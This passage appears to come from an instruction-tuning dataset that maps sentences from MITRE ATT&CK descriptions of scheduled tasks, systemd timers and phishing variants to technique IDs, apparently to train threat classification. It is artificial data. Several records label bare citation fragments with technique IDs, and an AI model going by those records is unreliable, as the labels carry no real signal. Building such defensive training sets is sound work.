malicious code. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation:", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Task Scheduler Security)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Task Scheduler Security) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd timers are unit files with file extension <code>.timer</code> that control services.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd timers are unit files with file extension <code>.timer</code> that control services. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timers can be set to run on a calendar event or after a time span relative to a starting point.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timers can be set to run on a calendar event or after a time span relative to a starting point. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation:", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux man-pages: systemd January 2014)", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux man-pages: systemd January 2014) ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timers installed using privileged paths may be used to maintain root level persistence.", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timers installed using privileged paths may be used to maintain root level persistence. ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)", "output": "T1053.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d) ### Response: T1053.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing with a link is a specific variant of spearphishing.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing with a link is a specific variant of spearphishing. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing may also involve social engineering techniques, such as posing as a trusted source.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing may also involve social engineering techniques, such as posing as a trusted source. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this case, the malicious emails contain links.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this case, the malicious emails contain links. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation:", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trend Micro Pawn Storm OAuth 2017)", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trend Micro Pawn Storm OAuth 2017) ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft OAuth 2.0", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft OAuth 2.0 ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Consent Phishing 2021)", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Consent Phishing 2021) ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing attachment is a specific variant of spearphishing.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing attachment is a specific variant of spearphishing. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing may also involve social engineering techniques, such as posing as a trusted source.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing may also involve social engineering techniques, such as posing as a trusted source. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use voice communications to ultimately gain access to victim systems.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use voice communications to ultimately gain access to victim systems. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing voice is a specific variant of spearphishing.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing voice is a specific variant of spearphishing. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656))", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "and/or creating a sense of urgency or alarm for the recipient.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: and/or creating a sense of urgency or alarm for the recipient. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation:", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219))", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing) ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing via service is a specific variant of spearphishing.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing via service is a specific variant of spearphishing. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These services are more likely to have a less-strict security policy than an enterprise.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These services are more likely to have a less-strict security policy than an enterprise. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries will create fake social media accounts and message employees for potential job opportunities.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries will create fake social media accounts and message employees for potential job opportunities. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then send malicious links or attachments through these services.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then send malicious links or attachments through these services. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to gain access to victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to gain access to victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the 